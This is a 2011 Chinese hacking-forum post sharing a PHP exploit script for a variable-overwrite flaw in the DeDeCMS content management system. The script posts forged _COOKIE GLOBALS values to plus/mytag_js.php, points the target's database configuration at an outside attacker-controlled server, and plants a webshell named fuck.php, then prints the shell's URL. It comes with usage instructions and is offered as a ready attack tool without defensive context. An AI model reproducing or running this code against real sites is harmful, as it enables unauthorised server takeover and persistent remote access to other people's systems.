找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 859|回复: 0

DeDeCMS(织梦)变量覆盖0day getshell

[复制链接]

131

主题

260

回帖

1518

牛毛

二级牛人

积分
1518
QQ
发表于 2011-11-25 15:37:38 | 显示全部楼层 |阅读模式 来自 河南省郑州市
代码:<?php

error_reporting(E_ERROR);

set_time_limit(0);

echo "\r\n";

if($argv[2]==null){

print_r("

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' url aid path

aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/

Example:

php '.$argv[0].' www.site.com 1 old

+---------------------------------------------------------------------------+

");

exit;

}

$url=$argv[1];

$aid=$argv[2];

$path=$argv[3];

$exp=Getshell($url,$aid,$path);

if (strpos($exp,"OK")>12){

echo "
  • Exploit Success \n";

    if($aid==1)echo "
  • Shell:".$url."/$path/data/cache/fuck.php\n" ;



    if($aid==2)echo "
  • Shell:".$url."/$path/fuck.php\n" ;



    if($aid==3)echo "
  • Shell:".$url."/$path/plus/fuck.php\n";



    }else{

    echo "
  • Exploit Failed \n";

    }

    function Getshell($url,$aid,$path){

    $id=$aid;

    $host=$url;

    $port="80";

    $content
    ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";

    $data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";

    $data .= "Host: ".$host."\r\n";

    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";

    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

    $data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";

    //$data .= "Accept-Encoding: gzip,deflate\r\n";

    $data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";

    $data .= "Connection: keep-alive\r\n";

    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";

    $data .= $content."\r\n";

    $ock=fsockopen($host,$port);

    if (!$ock) {

    echo "
  •   No response from ".$host."\n";

    }

    fwrite($ock,$data);

    while (!feof($ock)) {

    $exp=fgets($ock, 1024);

    return $exp;

    }

    }



    ?>
  • 您需要登录后才可以回帖 登录 | 开放注册

    本版积分规则

    帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

    GMT+8, 2025-4-25 01:58 , Processed in 0.136047 second(s), 34 queries .

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表